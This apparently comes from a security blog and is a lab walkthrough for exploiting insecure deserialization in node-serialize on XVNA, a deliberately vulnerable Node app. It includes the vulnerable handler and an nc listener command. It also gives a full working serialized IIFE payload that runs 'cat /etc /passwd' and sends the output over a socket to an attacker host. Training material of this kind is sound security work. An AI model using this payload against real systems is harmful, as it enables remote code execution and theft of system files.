In this post we’ll have a look at the nodejs deserialization attack/exploit in XVNA (eXtreme Vulnerable Node Application). Insecure deserialization is part of the OWASP Top 10 list that was published in 2017.
We’ll use the setup detailed here (XVNA runs on port 80). As a web proxy, Burp or ZAP are highly recommended, but you can use anything else that allows you to view/edit/send HTTP requests.
From the main dashboard in XVNA, we need to go to the A8:2017-Insecure Deserialization section.
Here, once you select the item (Apple, Banana, Egg, Beans) and click Check, a JSON request is sent to the web server with your choice.
The request is handled inside index.js. A new object (obj) will be declared and the userid parameter value from the POST request will be added to the name key.
The object will be first serialized and then deserialized and the say function will be called.
var id = req.body.userid.toString() console.log(id) var obj = { name: id , say: function () { return 'Searched Item ' + this.name; } }; var objS = serialize.serialize(obj); typeof objS === 'string'; serialize.unserialize(objS).say();
The main issue is tied to the unserialize function (for more info check out opsecx’s article), because the input (the userid value) isn’t sanitized. When a serialized Javascript Immediately Invoked Function Expression (IIFE) is provided as a value to userid, it will be executed during deserialization.
Now we have to decide what we want as a payload and what’s a good exfil method. Let’s say we want to get the contents of /etc /passwd. One way to achieve this is to convince the app to send it to us directly on a specific port.
For that we’ll run nc -l -v 1234 -vv on the client/attacker machine. This will open the port 1234/tcp and wait for a connection.
The function that we’ll send as a payload will create a socket, connect to our port and send the output of the cat /etc /passwd command.
var f = function() { require('child_process').exec('cat /etc /passwd', function(error, stdout, stderr){ var s = require('net').Socket(); s.connect(1234, '192.168.56.1'); s.write(stdout); }); }
To serialize the function, we can add the following code, save everything to a js file and run it with nodejs.
var serialize = require('node-serialize'); console.log(serialize.serialize(f));
Remember that we’re using IIFE here. Basically we have defined a function that we want to call it immediately, so we need to add ( ) at the end.
Now we have everything we need to exploit the app. Let’s send the request again and intercept it using your proxy. We need to edit the userid’s value and replace it with something like this:
{“userid”: “_$$ND_FUNC$$_function (){require(‘child_process’).exec(‘cat /etc /passwd’, function(error, stdout, stderr){var s=require(‘net’).Socket();s.connect(1234,’192.168.56.1′);s.write(stdout);});}()”}
If successful, you should see something like this in your nc window:
Enjoy!